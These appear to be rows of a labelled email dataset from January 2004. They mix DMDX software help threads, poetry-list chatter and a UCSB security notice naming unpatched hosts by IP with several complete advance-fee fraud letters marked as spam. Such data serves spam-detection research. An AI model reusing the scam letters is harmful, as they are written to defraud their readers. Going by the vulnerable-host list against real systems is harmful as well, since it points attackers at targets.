HE WAS SHOT BY THE GUN OF THE REBEL SOLDIERS ON HIS WAY TO HIS COCOA PLANTATION IN DALOA,ALONG BOUAKE HIGHWAY. BEFORE THE DEATH OF MY HUSBAND ON 29TH OCTOBER 2002 IN A PRIVATE HOSPITAL HERE IN ABIDJAN,HE SECRETLY CALLED ME ON HIS BEDSIDE AND TOLD ME THAT HE DEPOSITED ONE METALIC TRUCK BOX IN A SECURITY AND FINANCE COMPANY IN LOME, TOGO.AND THAT THE TRUCK BOX CONTAINS $14,000,000 UNITED STATES DOLLARS(14 M USD). HE DEPOSITED AND REGISTERED THE BOX AS FAMILY VALUABLES / ARTIFACTS. SO THE STAFF AND MANAGEMENT OF THE SECURITY COMPANY DO NOT KNOW THE REAL CONTENT OF THIS BOX. THAT HE USED MY NAME AS THE NEXT OF KIN IN DEPOSITING OF THIS BOX. HE TOLD ME THAT I SHOULD SEEK FOR A FOREIGN PARTNER IN A FOREIGN COUNTRY OF MY CHOICE WHERE I WILL TRANSFER THIS MONEY AND USE IT FOR INVESTMENT PURPOSE IN A LUCRATIVE VENTURE OR REAL ESTATE BUSINESS UNTIL MY ONLY SON WHO IS 16 YEARS FINISHES HIS EDUCATION. I AM CURRENTLY CAMPING WITH MY SON AT SAINT PAUL CHURCH,LOME TOGO. I AM HUMBLY SEEKING FOR YOUR ASSISTANCE IN THE FOLLOWING WAYS : 1)TO ASSIST BRING THIS BOX OUT FROM THE SECURITY COMPANY AND ASSIST TO TRANSFER THIS MONEY TO YOUR COUNTRY. 2) TO SERVE AS THE GUARDIAN OF THIS FUND( 3 )TO MAKE ARRANGEMENT FOR US TO COME OVER TO YOUR COUNTRY FOR MY SON FURTHER HIS EDUCATION. MOREOVER, I AM WILLING TO OFFER YOU 15% OF THE TOTAL SUM AS COMPENSATION FOR YOUR EFFORTS AND INPUT AFTER THE SUCCESSFUL TRANSFER OF THIS FUND TO YOUR COUNTRY. FURTHERMORE, YOU CAN INDICATE YOUR OPTION TOWARDS ASSISTING ME AS I BELIEVE THAT THIS TRANSACTION WOULD BE CONCLUDED WITHIN SEVEN ( 7) WORKING DAYS YOU SIGNIFY INTEREST TO ASSIST ME. ANTICIPATING TO HEAR FROM YOU SOON. THANKS AND GOD BLESS YOU. MRS JOYCE. --------------------------------- Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! Testez le nouveau Yahoo! Mail",1,0 Matthew Finkbeiner ,"""DMDX@psy1. psych. arizona. edu"" ","Sun, 18 Jan 2004 14:37:59 -0500",[DMDX] xy justification,"I'm trying to display two images with one centered 200 pixels to the left of center and one centered 200 pixels to the right of center; but dmdx will only present them left justified. Here is my parameter line: s1 d-5 f50 and here is an item: +99101 g ""fmask"" , ""+"" , g ""fmask"" / g ""dog"" , ""+"" , g ""bed"" / %25 g ""bmask"" , %25 ""+"" , %25 g ""bed"" / g ""bmask"" , * ""?"" , g ""bmask"" ; The image on the left () appears on top of the central fixation point, and the image on the right is almost off the screen. I can fiddle with things, using left justification, to get things fairly well centered, but because many of the images are different sizes it's a tad difficult. Any ideas why isn't working for me here? thanks matthew",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 18 Jan 2004 13:26:33 -0700",[DMDX] Re: xy justification,"At 02:37 PM 1/18/2004 -0500, you wrote: >I'm trying to display two images with one centered 200 pixels to the left of >center and one centered 200 pixels to the right of center; but dmdx will >only present them left justified. Here is my parameter line: > > s1 d-5 f50 > > >and here is an item: > >+99101 g ""fmask"" , ""+"" , g ""fmask"" / g >""dog"" , ""+"" , g ""bed"" / %25 g ""bmask"" , >%25 ""+"" , %25 g ""bed"" / g ""bmask"" , * ""?"" , g >""bmask"" ; > >The image on the left () appears on top of the central fixation >point, and the image on the right is almost off the screen. I can fiddle >with things, using left justification, to get things fairly well centered, >but because many of the images are different sizes it's a tad difficult. >Any ideas why isn't working for me here? No, it's a mystery to me. I've gotten a couple of reports that it doesn't work yet each time I investigate it it functions perfectly. Perhaps it has something to do with the bitmaps that get used or perhaps something cancels the justification mode. If you send me your item file and bitmaps zipped up off the list I'll have a look at your specific usage and see if I can pin the problem down. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ First Law of Socio-Genetics: Celibacy is not hereditary.",0,0 solomon ali ,,"Mon, 19 Jan 2004 01:39:22 +0200",BUSINESS RELATIONSHIP,"FROM THE DESK OF SOLOMON ALI N N P C. ATTN, MUTUAL BUSINESS RELATIONSHIP-STRICTLY CONFIDENTIAL I am SOLOMON ALI.The chief accountant of The Nigeria National Petroleum Corporation (NNPC) and I head five man tender board in charge of contract award and payments approvals.I came to know of you in my search for a reliable person to handle a very confidential transaction which involves the transfer of a huge sum of money to a foreign account. There were series of contracts executed by aconsortion of multinationals in the oil industry in favour of Nigeria National Petroleum Corporation (NNPC) among which were for the following:- 1. The expansion of the pipelines network within for a crude down stream products distribution and subsequent evacuation:- $8, Billion United States Dollars. ..2. Contract for the turn around maintenance (TAM) of the various refineries in the country $115 million Uited States Dollars. 3. The construction of storage tanks for petrolwum products (depots) $190 Million United States Dollars. The original value of these contracts were delebrately over invoiced in the sum U$69,000.000 (sixty nine Million United States Dollars Only) which has now been approved and is now ready to be transferred, being that the companies that actually executed these contracts have been fully paid the projests officially commissioned.It does not matter whether or not your comapny does contracts project of that nature described here, the assumption is that your company won the major contract and sub-contracted it out to other companies. Consequently, my colleaques and I are willing to transfer the total amount to your account for subsequent disbursement, since we as civil servants are prohibited by the code of conduct bureau (civil service laws) from opening and or operating foreign accounts in our names. Needless to say, the trust imposed on you at this junction enormous. In return, we have agreed to offer you 20% of the transferred sum, while 5% shall be set aside for incidental expenses (internal and external) between the parties in the course of the transaction, and the remaining 75% is for us,The Nigerian officials. Modalities have been worked out at the highest level of the ministry of finance and the central bank of Nigeria for the immediate transfer of the fund within 14 working days subject to your satisfaction of the above stated terms.Our assurance is that your role is risk free, I accord this transaction the legality it deserves and for mutual security of the fund, the whole approval procedures will be officially and legally processed with the name of any company you may nominate as the bonafide beneficiary of the above mentioned amount. Therefore, when the business is successfully concluded we shall through our same connections withdraw all documents used from all the concerned government ministries for 100% security risk free.Once more, I want you to understand that having put in over 19 years in the civil service of my country, I am very careful to have my image and career deemed. Please contact me immediately through E-mail whether you are or not interested in this deal, if you are not, it will enable us scout for another foreign partner to carry out this deal but where you are interested send the required documents.One blank letter head, oneinvoice sheet and your bank particulars through my above address as time is not on our side in the business. Send by Email for security reasons. Thanks as I await in anticipation for your fullest co-operation. Very truly yours, SOLOMON ALI ___________________________________________ Look Good, Feel Good www.healthiest.co.za ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 18 Jan 2004 16:47:10 -0700",[DMDX] Re: xy justification,"At 02:37 PM 1/18/2004 -0500, you wrote: >The image on the left () appears on top of the central fixation >point, and the image on the right is almost off the screen. I can fiddle >with things, using left justification, to get things fairly well centered, >but because many of the images are different sizes it's a tad difficult. >Any ideas why isn't working for me here? It turns out that the problem occurs when only the X coordinate is specified using custom justification modes. If both the X and Y are specified things work as you would expect. I'll look at fixing it next week till then use both and or the actual keyword to position things with . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Anything that is good and useful is made of chocolate.",0,0 PHALABO LANGA ,XXX@XXXXXXXX.XXXXXXX.XXX,"Mon, 19 Jan 2004 03:11:03 -0800",LETTER TO YOU X. XXXXXXXXXX XXXXXXXX ,"ATTN X. XXXXXXXXXX XXXXXXXX !!! PLEASE GRANT ME YOUR INDULGENCE TO NOTIFY YOU OF THIS ISSUE. I am Mr.Phalabo Langa, an external auditor with one of the prime banking institutions in Johannesburg, South Africa. THE PROPOSITION: In the course of performing my professional duty as an auditor in one of the banks, I discovered a domant account belonging to a french man, (Name withheld), he was a merchant formerly working in Witwatersrand Johannesbourg Gold Mine, Johannesburg South Africa. On further investigations, I discovered that he died some years ago in Kenya Air Bus (A310 - 304)Flight KQ431,and he had a closing balance as at the end of September 2000, money worth (Thirty Million Eight Hundred USD) and the bank now expects his next of kin/ beneficiary to come up for claims of his estate.Valuable efforts are being made by the Bank to get in touch with any of the his family or relatives but, to no success. It is because of the perceived possibility of not being able to locate any of his relations that, the bank management under the influence of her Chairman and Members of the Board of Directors, are making plans for the money to be decleared ""Unclaimed"" and subsequentlly be donated to the South Africa Trust Fund for the acquisition of arms and ammunition to further enhance the course of War in Africa and the World in General. In order to avert this negative development, I am now seeking your willingness and readiness to have you stand as the next of kin to the deceased so that the fund will be released and transfered into your account as the beneficiary / next of kin. The need for a foreigner to stand as next of kin in this transaction is occasioned by the fact that, the customer was a foreigner therefore, a Local person here in my country cannot stand as the next of kin so as to avoid suspicion. With collective effort by both of us, all documents and proves to enable you get this fund will be carefully worked out with the assistance of an attorney. However, the department of Justice have issued an order of ""MANDAMUS"" to locate any of the deceased's beneficiary(ies). I am assuring you that this deal is 100% Risk Free. Furthermore, your share will be 30% of the total sum, while the rest of 70% will be for myself and my colleagues for investment purposes, according to agreement between both parties.Although, I intended to invest some part of my own share into funding of a charity organisation. The name of beneficiary will be made in your favour before the bank and also with the Probate Registry in the ministry of justice of the Government of South Africa. Therefore to enable the immediate transfer of this fund to you as will be arranged,upon receipt of your positive response, I will send to you by email a draft copy of the application which you will preview and send to the attorney for him to apply to the bank on your behalf. Kindly indicate your interest and capability of striking this deal with me, so as to enable me make arrangements with the attorney that will guide us in making you the legal and authentic next of Kin /beneficiary. Please note that for the purposes of confidentiality,all further correspondence will be through my alternative email address: langalanga@bankersmail.com Accept my warm regards as I await your response. Sincerely Mr.Phalabo Langa (Auditor) Jo'Burg, South Africa. Email(langalanga@bankersmail.com) --------------------------------- Do you Yahoo!? Yahoo! Hotjobs: Enter the ""Signing Bonus"" Sweepstakes",1,0 ContactPrecision@aol.com,DMDX@psy1.psych.arizona.edu,"Tue, 20 Jan 2004 11:57:14 -0500",[DMDX] Display Timing issue?,"Hi, I have been trying to get DMDX to display a picture for a very short time, ultimately 1 tick and set the PIO according to which picture is displayed. While in principle it works I am having difficulties with the details. With the version outlined below I am having the following problems. 1. After displaying item 1 and 2 correctly it displays the white screen for item 3 and freezes the machine at that point. 2. Using a photodetector on the screen the display appears about 40ms after the PIO output goes low. Is there any way to synchronise this a bit better? System: 2GHz, P4, 256MB, XP with nVidia GeForce4 MX420(64MB)Graphics card Files: wht - all white picture, blk - all black picture, hf1_4 any arbitary picture Any suggestions greatly appreciated. Thanks. ----- 0 ""wht"" / ""blk""/ ""hf1_4""; 1 ""wht""/“blk""/; 2 ""hf1_4""/ “blk""/; 3 ""wht""/ “blk""/; 4 ""hf1_4""/ “blk""/; 5 ""wht""/ “blk""/; 0 ""stopped"" l;",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 20 Jan 2004 10:16:01 -0700",[DMDX] Re: Display Timing issue?,"At 11:57 AM 1/20/2004 -0500, you wrote: >Hi, I have been trying to get DMDX to display a picture for a very > >short time, ultimately 1 tick and set the PIO according to which > >picture is displayed. While in principle it works I am having > >difficulties with the details. With the version outlined below I > >am having the following problems. > >1. After displaying item 1 and 2 correctly it displays the white > >screen for item 3 and freezes the machine at that point. Machine freezing (at least under XP) is usually caused by poor video drivers (particularly the GeForce video cards). >2. Using a photodetector on the screen the display appears about > >40ms after the PIO output goes low. Is there any way to > >synchronise this a bit better? If your hardware and it's drivers are working properly a latency in the order of a millisecond is perfectly possible. >System: 2GHz, P4, 256MB, XP with nVidia GeForce4 Yepper dude, there you have it, XP and a GeForce, ding! >MX420(64MB)Graphics card > >Files: wht - all white picture, blk - all black picture, hf1_4 any > >arbitary picture > >Any suggestions greatly appreciated. Run off to Nvidia's web site or use Windows Update and download their reference drivers. I have good results with the 44.03 drivers if you find the latest drivers aren't acceptable, you can usually find places on the web that have older drivers. But the latest ones should be good especially once you turn off all the extra stuff they are trying to load. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I never met a man I didn't like. - Will Rogers ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id MAA11826 for ; Tue, 20 Jan 2004 12:20:55 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id MAA15277 for ; Tue, 20 Jan 2004 12:20:55 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1Aj2Mh-0009YG-5q; Tue, 20 Jan 2004 12:20:47 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1Aj2ML-0009XZ-B6; Tue, 20 Jan 2004 12:20:25 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1Aj2MD-0009XM-S5; Tue, 20 Jan 2004 12:20:17 -0800 Message-ID: <400D8D80.7080700@UCSB.edu> Date: Tue, 20 Jan 2004 12:20:16 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked and Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""Filtered Hosts"" list as well as a ""Unpatched Hosts"" lists further down in this message. If you manage a host that is in the list of unpatched hosts, then I highly recommend that you: 1. Patch the host ASAP, or firewall it until it if it cannot be patched for some reason. 2. Check the system for rogue services (e.g. back doors, FTP servers, etc.). www.foundstone.com has a nice tool called Vision for identifying ports and processes on Windows hosts. If your host is in the ""Filtered Hosts"" list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.101.90 modis.icess.ucsb.edu 128.111.101.189 iinstall.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 -- 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.120.28 lj5.lmri.ucsb.edu 128.111.138.160 -- 128.111.142.104 energy.ucsb.edu 128.111.162.145 -- 128.111.185.230 ra.ece.ucsb.edu 128.111.225.113 -- 128.111.229.207 -- 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.9.208 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.20.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.29.141 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.30.94 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.31.52 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.32.66 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.32.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.14 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.37.100 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.38.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.71.181 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.74.85 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.74.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.54 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.70 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.75.177 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.75.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.204 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.123 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.82.22 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.88.58 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.103.54 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.126 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.101 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.105 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.180.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.131 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.46 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.182.134 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.183.142 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.183.177 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.99 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.134 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.176 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.195.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.86 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.234.153 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.236.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.248.106 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 37 RPCSS Vulnerable ............................. 82 DCOM Disabled ................................ 60 Not Vulnerable ............................... 3726 Errors ....................................... 29 TCP Port 135 Closed or Host Timeout .......... 61639 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 intercon@ds-dataset.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Thu, 22 Jan 2004 15:23:58 +0200",Recruiting Beta Research user for DataSet V ,"XXXXXXXX, X XXXXXXXXXX DataSet V is a significant new software tool that changes and improves the ways researchers, who acquire data in their endeavor, get access, gain insight and extract intelligence from their data resource. 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",0,0 ,,,,"(anchor-post-34.mail.demon.net [194.217.242.92]) by siaag1ah.compuserve.com (8.12.9/8.12.7/SUN-2.12) with ESMTP id i0NBdu1P001136 for <<[log in to unmask]>; Fri, 23 Jan 2004 06:39:57 -0500 (EST) Received: from snakes.demon.co.uk ([62.49.24.85] helo=[192.168.0.2]) by anchor-post-34.mail.demon.net with esmtp (Exim 3.35 #1) id 1AjzfD-000EkF-0Y for [log in to unmask]; Fri, 23 Jan 2004 11:39:51 +0000 User-Agent: Microsoft-Entourage/10.0.0.1309 Date: Fri, 23 Jan 2004 11:36:45 +0000 Subject: Info for vacancy @ A&S From: Jasper Jaymi Jinu <<[log in to unmask]> To: <<[log in to unmask]> Message-ID: <<[log in to unmask]> Mime-version: 1.0 Content-type: multipart/mixed; boundary=""B_3157702805_4103304"" From: James Reiss <<[log in to unmask]> Date: Fri Jan 23, 2004 9:27:51 AM America/New_York Subject: Re: Fwd From Gloria Frym Dear Gloria Frym (and Annie), The fiction editor of The New Yorker, Bill Buford, stepped down last year. The new fiction editor is a woman in her early 30s, Deborah Treisman. The poetry ed. there is Alice Quinn. The poetry ed. at The Nation has been Grace Schulman for the past 30 years. Jim As one who has subscribed to the New Yorker through three chief editors, I too have wondered about the sanity of the poetry editor. Writing, publishing books, teaching poetry and fiction, mentoring MFA thesis work, and reading the numerous poetries being disseminated during our era--not to mention reviewing poetry books and applications for graduate programs--well, one has to be ecumenical, even though one has one's aesthetic biases. Once in a while, the New Yorker publishes a wonderful poem, especially by a poet who has a contract (although I wonder if they still do that--the promise to publish x number of the poet's poems a year). But one has to consider the context of poetry published in magazines devoted to other genres, as well as the audience to whom the magazine speaks. The New Yorker seems to publish poems for intelligent commuters and professionals who don't know much about poetry. The Nation, with radical politics and so many remarkable articles about the ills and miseries and corruptions of our times, rarely publishes a decent poem except those by their contest winners. Certainly, nothing to take the top of your head off. The Atlantic Monthly, which offers excellent writing, personal essays, one piece of fiction per issue, occasionally has a poem one isn't embarassed by. What's mysterious is that the poetry editors of major magazines must change every so often, yet the general quality of the poetry remains the same. On the other hand, the New Yorker has had the same chief fiction editor for decades, and frequently publishes great stories. I suspect Roger Angell has a huge cadre of savvy,assistant fiction editors. These magazines would do well by having a group of poetry editors with different, even clashing, aesthetics, and make space for the variety of poetries being produced in a country that claims it's devoted to ""diversity."" So Katha, got any pull at The Nation? Deborah (last name escapes me), the poetry editor of the New Yorker, how about you? A few years ago, a poet named Sparrow, if you recall, picketed the offices of the New Yorker, saying that his poetry was just as bad as the poetry they were publishing, and therefore they should publish some of his poems. And they did! And his poetry is great! Gloria Frym On Wed, 21 Jan 2004 16:41:10 -0600 Kathleen Jesme <<[log in to unmask]> wrote: Do you think the New Yorker deliberately publishes crappy poems? Is the poetry editor a dope? Does taste >have anything to do with it? Kathleen Laura wrote: Are these rhetorical questions? I know they are directed (yay!) to someone else--but still-- Answer to (#1) I think the New Yorker sells brand-name products (goods in the ads, goods in the poetry/fiction world). (#2) I do not think the editor is a dope and (#3) what is taste? Taste comes from? one's background? experience in the area (i.e. how much the editor has read, how knowledgeable the editor? does he/she have broad experience? cross-culturally, etc? one's own needs)? Laura Laura, no they weren't rhetorical questions. I'm very curious about how poets evaluate the work of other poets, and so, when people say things like ""publish crappy poems"" and ""poems that stand up,"" I want to know how they know. I've read some poems in the New Yorker that I considered very fine, and some that made me wonder what the editor was thinking. But they might have been the opposite of someone else's reactions. I've read the third or fourth book of a poet I admired and thought, ""Whoa, I think you need to find some new material,"" and the book was nominated for/won a big prize. Is it purely a matter of taste? Surely not. We can probably all agree that Jewel is not a great poet. (What about some of the hip-hop poets?) I am wondering how much of our judgment of the quality of poems is a matter of personal taste. Dickinson said if it blew the top of her head off, she knew it was poetry. That seems pretty simple, but perhaps it's also simplistic. I find that, as I grow old in poetry, my tastes become both more expansive and more critical. I am willing to tolerate a lot more not-understanding, so I enjoy more edgy work and, at the same time, become more critical and impatient with poets who seem to write the same thing over and over, even if it is well written, and those who seem intent on not making meaning through poetry. However, I also look at the work I really connect to, and a heck of a lot of it has been written by middle-aged white women! What happens to my evaluating function when I read work that is so ""other"" I can't connect to it in any personal way? Frankly, I can't tell if the work is bad, or I am so hopelessly conditioned by my white middle classness that I'm not up to it. Just curious how other people deal with these questions. Kathleen Kathleen -- From: Helen Ruggieri <<[log in to unmask]> Date: Fri Jan 23, 2004 11:30:13 AM America/New_York Subject: Re: AWP Ibuprofen and orange juice - couch, soap operas (or a thirties movie) afghan (the knitted kind) soup on the stove xxx H ----- Original Message ----- From: ""Adrienne D Lewis"" <<[log in to unmask]> To: <<[log in to unmask]> Sent: Thursday, January 22, 2004 9:16 AM Subject: AWP Hi everyone, Michigan weather being what it is, the snow is falling, the barometer is up, and I have a nasty head cold (Sorry if that's TMI)...Anyway, I wanted to let everyone know that I *am* working on the schedule for AWP and hope to send it out this weekend. If you haven't send info in to me (please do so at [log in to unmask] and not my cmich account), here's yoru chance... Adrienne From: Janet Holmes <<[log in to unmask]> Date: Fri Jan 23, 2004 11:53:53 AM America/New_York Subject: Re: AWP I'll download a bit of that myself...! .. .. .. .. .. .. .. .. .. .. Janet Holmes Director, MFA Program in Creative Writing Director, Ahsahta Press Boise State University [log in to unmask] http://www.humanophone.com 